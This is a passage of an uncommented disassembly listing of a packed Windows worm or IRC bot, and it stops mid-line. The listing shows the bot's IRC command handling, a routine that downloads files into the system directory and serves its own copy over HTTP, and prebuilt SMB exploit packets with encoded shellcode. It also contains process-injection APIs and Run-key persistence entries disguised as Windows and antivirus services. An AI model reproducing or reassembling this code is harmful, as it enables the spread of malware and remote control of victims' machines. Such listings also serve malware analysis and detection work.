ebx, ebx push edi mov ds:dword_315061A4, ebx call sub_315018BA mov esi, dword_31501124 call esi ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp-4Ch] add edx, ecx push edx push eax call sub_31501932 cmp ds:dword_315061A0, ebx mov edi, dword_3150106C pop ecx pop ecx jz short loc_3150345D lea eax, [ebp-4Ch] push offset a_ ; "_" push eax call edi ; lstrcatA loc_3150345D: ; CODE XREF: UPX0:31503450j lea eax, [ebp-4Ch] push offset a13 ; "13" push eax call edi ; lstrcatA lea ecx, [ebp-2F4h] call sub_31502DA1 mov [ebp-4], ebx loc_31503476: ; CODE XREF: UPX0:315035DDj ; UPX0:31503603j push offset dword_315061A8 lea eax, [ebp-18h] push offset dword_315061AC push eax call sub_31503371 add esp, 0Ch loc_3150348C: ; CODE XREF: UPX0:315034A0j call sub_31501A32 test eax, eax jnz short loc_315034A2 push 3E8h call dword_315010A4 ; Sleep jmp short loc_3150348C ; --------------------------------------------------------------------------- loc_315034A2: ; CODE XREF: UPX0:31503493j xor ebx, ebx call esi ; rand push 7 cdq pop ecx idiv ecx lea eax, [ebp-6Ch] add edx, 5 push edx push eax call sub_31501932 pop ecx xor edi, edi pop ecx loc_315034BD: ; CODE XREF: UPX0:315034F9j push 1A0Bh lea ecx, [ebp-2F4h] push off_31505E14 call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_31503550 inc edi cmp edi, 8 jl short loc_315034BD xor edi, edi loc_315034FD: ; CODE XREF: UPX0:3150354Cj call sub_31501A32 test eax, eax jz short loc_3150355E push 1A0Bh call esi ; rand push 13h xor edx, edx pop ecx div ecx lea ecx, [ebp-2F4h] push off_31505E14[edx*4] call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_3150355B inc edi cmp edi, 4Ch jb short loc_315034FD jmp short loc_3150355E ; --------------------------------------------------------------------------- loc_31503550: ; CODE XREF: UPX0:315034F3j push 1 pop ebx mov ds:dword_315061A4, ebx jmp short loc_31503567 ; --------------------------------------------------------------------------- loc_3150355B: ; CODE XREF: UPX0:31503546j push 1 pop ebx loc_3150355E: ; CODE XREF: UPX0:31503504j ; UPX0:3150354Ej cmp ds:dword_315061A4, 0 jz short loc_31503576 loc_31503567: ; CODE XREF: UPX0:31503559j lea eax, [ebp-18h] push offset aTaty ; "#taty" push eax call dword_31501088 ; lstrcpyA loc_31503576: ; CODE XREF: UPX0:31503565j test ebx, ebx jz short loc_315035EE call sub_31501A32 test eax, eax jz short loc_315035EE loc_31503583: ; CODE XREF: UPX0:315035A8j lea eax, [ebp-18h] lea ecx, [ebp-2F4h] push eax call sub_315030B1 test eax, eax jz short loc_315035AA push 3E8h call dword_315010A4 ; Sleep call sub_31501A32 test eax, eax jnz short loc_31503583 loc_315035AA: ; CODE XREF: UPX0:31503594j cmp ds:dword_315061A4, 0 jz short loc_315035BA mov edx, 0A8C0h jmp short loc_315035CA ; --------------------------------------------------------------------------- loc_315035BA: ; CODE XREF: UPX0:315035B1j call esi ; rand cdq mov ecx, 1F4h idiv ecx add edx, 578h loc_315035CA: ; CODE XREF: UPX0:315035B8j push edx lea ecx, [ebp-2F4h] call sub_315031EC call sub_31501A32 test eax, eax jz loc_31503476 lea ecx, [ebp-2F4h] call sub_31503183 loc_315035EE: ; CODE XREF: UPX0:31503578j ; UPX0:31503581j call esi ; rand push 0Ah cdq pop ecx idiv ecx imul edx, 0EA60h push edx call dword_315010A4 ; Sleep jmp loc_31503476 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503608 proc near ; CODE XREF: sub_31503722+5Ep var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31501154 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_31503633 push 1 jmp loc_315036C9 ; --------------------------------------------------------------------------- loc_31503633: ; CODE XREF: sub_31503608+22j lea eax, [ebp+var_110] push 104h push eax call dword_31501068 ; GetSystemDirectoryA mov edi, dword_3150106C lea eax, [ebp+var_110] push offset asc_31505CF0 ; "\\" push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_315010A0 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31501932 pop ecx lea eax, [ebp+var_110] pop ecx push offset a_exe ; ".exe" push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_315036A9 push 2 jmp short loc_315036C9 ; --------------------------------------------------------------------------- loc_315036A9: ; CODE XREF: sub_31503608+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31501150 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_315036CC push [ebp+var_4] call dword_315010BC ; CloseHandle push 3 loc_315036C9: ; CODE XREF: sub_31503608+26j ; sub_31503608+9Fj pop eax jmp short loc_3150371D ; --------------------------------------------------------------------------- loc_315036CC: ; CODE XREF: sub_31503608+B4j mov edi, 100000h push edi call sub_31502800 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31501158 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3150104C ; WriteFile push [ebp+var_4] call dword_315010BC ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31501962 push ebx call sub_31502814 add esp, 0Ch xor eax, eax loc_3150371D: ; CODE XREF: sub_31503608+C2j pop edi pop esi pop ebx leave retn sub_31503608 endp ; =============== S U B R O U T I N E ======================================= sub_31503722 proc near ; CODE XREF: sub_315031EC+D1p var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_264 = byte ptr -264h var_200 = byte ptr -200h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 4 sub esp, 2CCh push ebx push ebp push esi push edi push offset dword_315061AC mov esi, ecx push [esp+2E0h+arg_0] call dword_31501120 ; strstr mov edi, dword_315010C8 pop ecx mov ebx, eax pop ecx mov [esp+2DCh+var_2CC], ebx call edi ; GetTickCount sub eax, [esi+70h] cmp eax, 927C0h jbe short loc_31503761 and dword ptr [esi+284h], 0 loc_31503761: ; CODE XREF: sub_31503722+36j cmp dword ptr [esi+7Ch], 0 jz short loc_315037C3 call edi ; GetTickCount mov ecx, [esi+78h] sub eax, [esi+74h] imul ecx, 3E8h cmp eax, ecx jbe short loc_315037C3 lea eax, [esi+180h] push eax call sub_31503608 test eax, eax pop ecx jnz short loc_315037C3 call edi ; GetTickCount push dword ptr [esi+78h] and dword ptr [esi+7Ch], 0 mov [esi+70h], eax lea eax, [esp+2E0h+var_2C8] push offset a1D ; "-1,%d" push eax mov dword ptr [esi+284h], 1 call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [esp+2DCh+var_2C8] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315037C3: ; CODE XREF: sub_31503722+43j ; sub_31503722+55j ... test ebx, ebx jz loc_31503A01 push ebx call dword_315010A0 ; lstrlenA cmp eax, 0Ah jle loc_31503A01 mov ebp, dword_31501110 add ebx, 8 push 7Ch push ebx call ebp ; strchr mov edi, eax pop ecx test edi, edi pop ecx jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esp+2E0h+var_200] push ebx push eax call sub_31502D3C lea ebx, [edi+1] push 7Ch push ebx mov byte ptr [edi], 7Ch call ebp ; strchr mov edi, eax add esp, 14h test edi, edi jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esi+180h] push ebx push eax call sub_31502D3C add esp, 0Ch lea eax, [esp+2DCh+var_200] push offset aE ; "e" push eax call dword_31501040 ; lstrcmpA mov ebx, dword_31501088 test eax, eax jnz loc_31503968 lea eax, [esi+180h] push eax call dword_315010A0 ; lstrlenA cmp eax, 0FFh jge loc_31503968 cmp dword ptr [esi+284h], 0 jnz loc_31503968 cmp dword ptr [esi+7Ch], 0 jnz loc_31503968 lea eax, [edi+1] push 7Ch push eax call ebp ; strchr mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_31503949 and byte ptr [ebp+0], 0 lea eax, [edi+1] push eax call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 lea eax, [edi+1] push eax lea eax, [esp+2E0h+var_100] push eax call ebx ; lstrcpyA push [esp+2DCh+var_2CC] lea eax, [esi+80h] mov byte ptr [edi], 7Ch push eax call ebx ; lstrcpyA mov byte ptr [ebp+0], 7Ch and byte ptr [edi], 0 cmp [esp+2DCh+var_100], 65h jle short loc_31503956 lea eax, [esp+2DCh+var_FF] push eax call dword_315010F8 ; atoi mov ebp, eax pop ecx test ebp, ebp jz short loc_31503956 cmp ebp, 0E10h jnb short loc_31503956 call dword_31501124 ; rand xor edx, edx mov dword ptr [esi+7Ch], 1 div ebp mov [esi+78h], edx call dword_315010C8 ; GetTickCount mov [esi+74h], eax jmp short loc_31503956 ; --------------------------------------------------------------------------- loc_31503949: ; CODE XREF: sub_31503722+19Dj push [esp+2DCh+var_2CC] lea eax, [esi+80h] push eax call ebx ; lstrcpyA loc_31503956: ; CODE XREF: sub_31503722+1E9j ; sub_31503722+1FEj ... lea eax, [esi+80h] push offset asc_31506124 ; "|" push eax call dword_3150106C ; lstrcatA loc_31503968: ; CODE XREF: sub_31503722+15Aj ; sub_31503722+172j ... mov ebp, dword_31501040 lea eax, [esp+2DCh+var_200] push offset aI ; "i" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039DE lea eax, [esp+2DCh+var_2C8] push offset dword_315061CC push eax call ebx ; lstrcpyA lea eax, [esp+2DCh+var_2C8] push 63h push eax push 7 push 400h call dword_31501040+4 push ds:dword_31506198 lea eax, [esp+2E0h+var_2C8] push eax lea eax, [esp+2E4h+var_264] push ds:dword_31506194 push ds:dword_3150615C push offset aDD13SD ; "%d,%d,13%s,%d" push eax call dword_3150113C ; wsprintfA add esp, 18h lea eax, [esp+2DCh+var_264] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315039DE: ; CODE XREF: sub_31503722+25Dj lea eax, [esp+2DCh+var_200] push offset aQ ; "q" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039FE cmp [esi+284h], eax jz short loc_315039FE push 1 pop eax jmp short loc_31503A2A ; --------------------------------------------------------------------------- loc_315039FE: ; CODE XREF: sub_31503722+2CDj ; sub_31503722+2D5j mov byte ptr [edi], 7Ch loc_31503A01: ; CODE XREF: sub_31503722+A3j ; sub_31503722+B3j ... cmp dword ptr [esi+284h], 0 jz short loc_31503A28 push offset aJoin ; "JOIN" push [esp+2E0h+arg_0] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31503A28 call dword_31501124 ; rand loc_31503A28: ; CODE XREF: sub_31503722+E2j ; sub_31503722+123j ... xor eax, eax loc_31503A2A: ; CODE XREF: sub_31503722+2DAj pop edi pop esi pop ebp pop ebx add esp, 2CCh retn 4 sub_31503722 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A38 proc near ; CODE XREF: sub_315011C0+128p ; sub_315011C0+134p ... jmp dword_31501134 sub_31503A38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A3E proc near ; CODE XREF: sub_315011C0+9Cp ; sub_315011C0+C5p ... jmp dword_31501130 sub_31503A3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A44 proc near ; CODE XREF: sub_315011C0+93p ; sub_315011C0+B2p ... jmp dword_3150112C sub_31503A44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31503A50 proc near ; CODE XREF: sub_315011C0+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31503A70 loc_31503A5C: ; CODE XREF: sub_31503A50+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31503A5C loc_31503A70: ; CODE XREF: sub_31503A50+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31503A50 endp ; --------------------------------------------------------------------------- align 10h loc_31503A80: ; DATA XREF: sub_31501D96+Ao jmp dword ptr loc_3150111C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A86 proc near ; CODE XREF: sub_31501F6B+10Cp ; sub_31501F6B+119p ... jmp dword_31501118 sub_31503A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A8C proc near ; CODE XREF: sub_31501F6B+35p jmp dword_31501114 sub_31503A8C endp ; --------------------------------------------------------------------------- loc_31503A92: ; CODE XREF: UPX0:31503AC9j ; UPX0:31503AE0j jmp dword ptr locret_3150110A+2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A98 proc near ; CODE XREF: sub_315031EC+5p ; UPX0:3150340Dp jmp dword ptr loc_31501108 sub_31503A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A9E proc near ; CODE XREF: sub_31503371+4Fp jmp dword_31501104 sub_31503A9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AA4 proc near ; CODE XREF: sub_31503371+34p jmp dword_31501100 sub_31503AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AAA proc near ; CODE XREF: sub_31503371+1Fp jmp dword_315010FC sub_31503AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB0 proc near ; CODE XREF: sub_31502490+ABp jmp dword_31501084 sub_31503AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB6 proc near ; CODE XREF: sub_31502490+64p jmp dword_3150107C sub_31503AB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503ABC proc near ; CODE XREF: sub_31502490+2Dp jmp dword_31501078 sub_31503ABC endp ; --------------------------------------------------------------------------- align 4 loc_31503AC4: ; DATA XREF: sub_315031ECo mov eax, offset dword_31503AE8 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2F4h] jmp loc_31502DD4 ; --------------------------------------------------------------------------- loc_31503ADB: ; DATA XREF: UPX0:loc_31503408o mov eax, offset dword_31503B40 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 4 dword_31503AE8 dd 19930520h, 2, 31503B08h, 1, 31503B18h, 3 dup(0) ; DATA XREF: UPX0:loc_31503AC4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 31503B30h, 4 dup(0) dd offset loc_315032E0 dword_31503B40 dd 19930520h, 1, 31503B60h, 5 dup(0) dd 0FFFFFFFFh, 31503AD0h, 526h dup(0) byte_31505000 db 0EBh ; DATA XREF: sub_315011C0+24Eo ; sub_315011C0+260o ... db 58h word_31505002 dw 7468h ; DATA XREF: sub_31502277+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1F1B966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C571C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B471C999h dd 99C99998h, 0E3F367C9h, 0D11C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A20414D9h, 99C99998h dd 9371CAC9h, 99C99998h, 61688DC9h, 0AE1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992671h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993C71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998D12Ch, 0C9C999C9h, 0C9991371h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0D12C66CBh, 99C99998h, 0AE2C66C9h dd 99C99998h, 990C71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998AEh, 1C71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A20414h, 0C999C999h, 99EA71CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999F171h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 0F0ABB7AAh, 2 dup(0C999C999h) dd 0C5B7C999h, 0ECE9EDFFh, 0FCB7FDE9h, 0C999FCE1h, 6 dup(0C999C999h) dd 0FCFCF5CAh, 0F2C999E9h, 0FCF7EBFCh, 99ABAAF5h, 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998D51Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FCB75A91h, 0B7FDF7h dword_315052C8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_315011C0+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31505354 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_31505400 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_315054E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_315011C0+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31505544 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_315055B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31505654 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_315056D4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31505768 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_315057D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31505848 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31505906 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31505940 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_315011C0+41Bo ; sub_315011C0+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_315059B8: ; DATA XREF: sub_315011C0+44Ao jmp short loc_315059C0 ; --------------------------------------------------------------------------- jmp short loc_315059C2 ; --------------------------------------------------------------------------- align 10h loc_315059C0: ; CODE XREF: UPX0:loc_315059B8j ; DATA XREF: sub_315011C0+5Co pop esp pop esp loc_315059C2: ; CODE XREF: UPX0:315059BAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_315059CC dd 1CEC8166h dword_315059D0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31501727+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31501727+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31501727+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31501727+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31501727+8o ; sub_31501D96+102o align 4 aUterm13_2i db 'uterm13.2i',0 ; DATA XREF: sub_315017AF:loc_31501894o ; UPX0:31501D35o ... align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_315017AF+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_315017AF:loc_315017F6o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_315017AF+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_315017AF+18o align 4 dword_31505A84 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31501A62+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 a_exe db '.exe',0 ; DATA XREF: sub_31501A62+55o ; sub_315025F6+4Bo ... align 10h aGet db 'GET',0 ; DATA XREF: sub_31501A62+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31501D20o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_31501D96+109o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_31501D96+FBo align 10h aWininet db 'wininet',0 ; DATA XREF: sub_31501D96+F4o aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_31501D96+E7o align 10h aU14 db 'u14',0 ; DATA XREF: sub_31501D96+D5o aU13_2i db 'u13.2i',0 ; DATA XREF: sub_31501D96+C9o align 4 aU13i db 'u13i',0 ; DATA XREF: sub_31501D96+BDo align 4 aU13 db 'u13',0 ; DATA XREF: sub_31501D96+B1o aU12 db 'u12',0 ; DATA XREF: sub_31501D96+A5o aU11 db 'u11',0 ; DATA XREF: sub_31501D96+99o aU10 db 'u10',0 ; DATA XREF: sub_31501D96+8Do aU9 db 'u9',0 ; DATA XREF: sub_31501D96+81o align 4 aU8 db 'u8',0 ; DATA XREF: sub_31501D96+75o align 4 aU13ix db 'u13ix',0 ; DATA XREF: sub_31501D96+69o align 4 aU13x db 'u13x',0 ; DATA XREF: sub_31501D96+5Do align 4 aU12x db 'u12x',0 ; DATA XREF: sub_31501D96+51o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_31501D96+45o align 4 aU10x db 'u10x',0 ; DATA XREF: sub_31501D96+3Bo align 4 aU13_2ix db 'u13.2ix',0 ; DATA XREF: sub_31501D96+22o asc_31505B8C db 0Dh,0Ah,0 ; DATA XREF: sub_31501F6B+124o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31501F6B+104o aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31502277+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_31501BA8+23o ; sub_31502548+5Fo ... align 4 aSystemUpdate db 'System Update',0 ; DATA XREF: sub_31501BA8+1Co ; sub_315025F6+87o ... align 4 aZvhkaqndgcmpya db 'zvhkaqndgcmpyawrkj',0 ; DATA XREF: sub_315026C2+57o ; sub_315026C2+8Ao align 10h aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_315026C2+32o aClient db 'Client',0 ; DATA XREF: sub_315026C2+BCo ; sub_315026C2+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_315026C2+37o ; sub_315026C2+75o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31502548+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31502548+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31502548+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31502548+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31502548+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31502548+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31502548+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31502548+1Do align 10h aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31502548+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31502548+Fo align 10h asc_31505CF0: ; DATA XREF: sub_315025F6+56o ; sub_31503608+49o unicode 0, <\>,0 a1: ; DATA 